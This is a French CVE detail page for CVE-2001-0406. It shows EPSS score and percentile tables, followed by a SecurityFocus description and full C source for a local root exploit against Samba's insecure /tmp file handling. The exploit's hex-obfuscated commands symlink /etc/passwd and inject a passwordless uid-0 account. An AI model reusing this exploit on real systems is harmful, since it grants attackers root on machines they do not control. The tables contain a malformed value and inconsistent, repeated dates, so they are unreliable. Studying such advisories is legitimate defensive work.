CVE-2001-0406 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-03-12	–	–	–	0.04%	–
2024-02-18	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-12-22	–	–	–	0.09%	–
2025-01-19	–	–	–	0.09%	–
2025-01-26	–	–	–	0.09%	–
2025-01-19	–	–	–	0.09%	–
2025-01-25	–	–	–	0.09%	–
2025-03-18	–	–	–	–	0.3%
2025-03-30	–	–	–	–	0.3%
2025-04-06	–	–	–	–	0.3%
2025-04-15	–	–	–	–	0.3%
2025-04-15	–	–	–	–	0.3,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	6%
2024-02-18	5%
2024-06-02	5%
2024-12-22	38%
2025-01-19	38%
2025-01-26	39%
2025-01-19	38%
2025-01-25	39%
2025-03-18	51%
2025-03-30	5%
2025-04-06	51%
2025-04-15	53%
2025-04-15	53%

// source: https://www.securityfocus.com/bid/2617/info Samba is a flexible file sharing packaged maintained by the Samba development group. It provides interoperatability between UNIX and Microsoft Windows systems, permitting the sharing of files and printing services. A problem in the package could make it possible to deny service to legitimate users. Due to the insecure creation of files in the /tmp file system, it is possible for a user to create a symbolic link to other files owned by privileged users in the system, such as system device files, and write data to the files. This vulnerability makes it possible for a local user to deny service to other users of the system, and potentially gain elevated privileges. /* * Samba Server r00t exploit * * Scope: Local (this exploit) and posible remote if conditions are given. * Vuln: * RedHat 5.1 * RedHat 5.2 * RedHat 6.0 * RedHat 6.1 * RedHat 6.2 * RedHat 7.0 * RedHat 7.1 * I don't know if other versions are vulnerable too. * * Run this exploit and then take a look at your passwd file. * Run: ./samba-exp user * * Author: Gabriel Maggiotti * Email: gmaggiot@ciudad.com.ar * Webpage: http://qb0x.net */ #include <stdio.h> #include <string.h> int main(int argc,char *argv[]) { char inject1[]= "\x2f\x62\x69\x6e\x2f\x72\x6d\x20\x2d\x72\x66\x20\x2f" "\x74\x6d\x70\x2f\x78\x2e\x6c\x6f\x67"; char inject2[]= "\x2f\x62\x69\x6e\x2f\x6c\x6e\x20\x2d\x73\x20\x2f\x65" "\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x2f\x74\x6d" "\x70\x2f\x78\x2e\x6c\x6f\x67"; char inject3a[100]= "\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x6d\x62\x63" "\x6c\x69\x65\x6e\x74\x20\x2f\x2f\x6c\x6f\x63\x61\x6c" "\x68\x6f\x73\x74\x2f\x22\xa\xa"; char inject3b[]= "\x3a\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e" "\x2f\x73\x68\x5c\x6e\x22\x20\x2d\x6e\x20\x2e\x2e\x2f" "\x2e\x2e\x2f\x2e\x2e\x2f\x74\x6d\x70\x2f\x78\x20\x2d" "\x4e\xa"; if(argc!=2){ fprintf(stderr,"usage: %s <user>\n",*argv); return 1; } strcat(inject3a,argv[1]); strcat(inject3a,inject3b); system(inject1, 0); system(inject2, 0); system(inject3a, 0); return 0; }